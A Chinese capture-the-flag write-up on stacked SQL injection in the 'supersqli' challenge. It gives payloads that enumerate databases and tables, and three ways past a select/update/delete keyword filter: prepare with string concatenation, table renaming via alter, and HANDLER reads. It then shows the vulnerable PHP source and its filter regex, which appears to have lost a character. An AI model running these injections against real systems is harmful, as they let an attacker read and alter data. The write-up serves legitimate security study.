本题主要考察堆叠注入,算是比较经典的一道题,在i春秋GYCTF中也出现了本题的升级版
猜测这里的MySQL语句结构应该是:
select * from words where id='$inject';
构造Payload:用单引号+分号闭合前面的语句,插入SQL语句,再用注释符注释掉后面的语句即可
先列出所有数据库:
1';show databases;#
得到:
array(1) {
[0]=>
string(11) "ctftraining"
}
array(1) {
[0]=>
string(18) "information_schema"
}
array(1) {
[0]=>
string(5) "mysql"
}
array(1) {
[0]=>
string(18) "performance_schema"
}
array(1) {
[0]=>
string(9) "supersqli"
}
array(1) {
[0]=>
string(4) "test"
}
选择数据库:
1';use supersqli;#
查询supersqli库中的所有表:
1';show tables;#
得到:
array(1) {
[0]=>
string(16) "1919810931114514"
}
array(1) {
[0]=>
string(5) "words"
}
查询1919810931114514表中的字段(这里需要注意的是,如果表名是纯数字需要用反引号包裹,不然不会出现回显):
1';show columns from `1919810931114514`;#
得到:
array(6) {
[0]=>
string(4) "flag"
[1]=>
string(12) "varchar(100)"
[2]=>
string(2) "NO"
[3]=>
string(0) ""
[4]=>
NULL
[5]=>
string(0) ""
}
以上是正常的步骤,但是准备用select查询flag时发现了过滤,过滤掉了select、update、delete、drop、insert、where:
下面开始讲解获取flag的三种方法:
1.储存过程绕过(利用prepare语句):
1'; set @a = CONCAT('se','lect * from `1919810931114514`;'); //字符串拼接绕过select过滤 prepare flag from @a; EXECUTE flag;#
关于这种绕过方式可以参考: PDO场景下的SQL注入探究
2.重命名绕过(利用alter语句与rename语句):
1'; alter table words rename to words1; alter table `1919810931114514` rename to words; alter table words change flag id varchar(50);#
执行完上述请求再请求1’ or 1=1#即可获得Flag
参考:http://www.saucer-man.com/information_security/302.html
3.handler语句代替select查询:
这个方法在i春秋GYCTF中本题的升级版(多过滤了prepare、set、rename,显然前两种方法都不适用)中亮相
1';handler `1919810931114514` open as ye; //同样的,这里的表名因为是纯数字所以需要用反引号包裹 handler ye read first; handler ye close;# //注意:这里必须close handler才可以获取Flag
这里附上handler的用法:
HANDLER tbl_name OPEN [ [AS] alias] HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...) [ WHERE where_condition ] [LIMIT ... ] HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST } [ WHERE where_condition ] [LIMIT ... ] HANDLER tbl_name READ { FIRST | NEXT } [ WHERE where_condition ] [LIMIT ... ] HANDLER tbl_name CLOSE
e.g: 通过handler语句查询users表的内容:
handler users open as yunensec; #指定数据表进行载入并将返回句柄重命名
handler yunensec read first; #读取指定表/句柄的首行数据
handler yunensec read next; #读取指定表/句柄的下一行数据
handler yunensec read next; #读取指定表/句柄的下一行数据
...
handler yunensec close; #关闭句柄
做完题之后分析一下源码:
<html> <head> <meta charset="UTF-8"> <title>easy_sql</title> </head> <body> <h1>取材于某次真实环境渗透,只说一句话:开发和安全缺一不可</h1> <!-- sqlmap是没有灵魂的 --> <form method="get"> 姿势: <input type="text" name="inject" value="1"> <input type="submit"> </form> <pre> <?php function waf1($inject) { preg_match("/select|update|delete|drop|insert|where|./i",$inject) && die('return preg_match("/select|update|delete|drop|insert|where|./i",$inject);'); } function waf2($inject) { strstr($inject, "set") && strstr($inject, "prepare") && die('strstr($inject, "set") && strstr($inject, "prepare")'); } if(isset($_GET['inject'])) { $id = $_GET['inject']; waf1($id); waf2($id); $mysqli = new mysqli("127.0.0.1","root","root","supersqli"); $sql = "select * from `words` where id = '$id';"; $res = $mysqli->multi_query($sql); if ($res){ do{ if ($rs = $mysqli->store_result()){ while ($row = $rs->fetch_row()){ var_dump($row); echo "<br>"; } $rs->Close(); if ($mysqli->more_results()){ echo "<hr>"; } } }while($mysqli->next_result()); } else { echo "error ".$mysqli->errno." : ".$mysqli->error; } $mysqli->close(); } ?> </pre> </body> </html>
堆叠注入的成因在这里:
$res = $mysqli->multi_query($sql);
这里的multi_query()可以执行一条或多条sql语句,从而导致了堆叠注入的产生。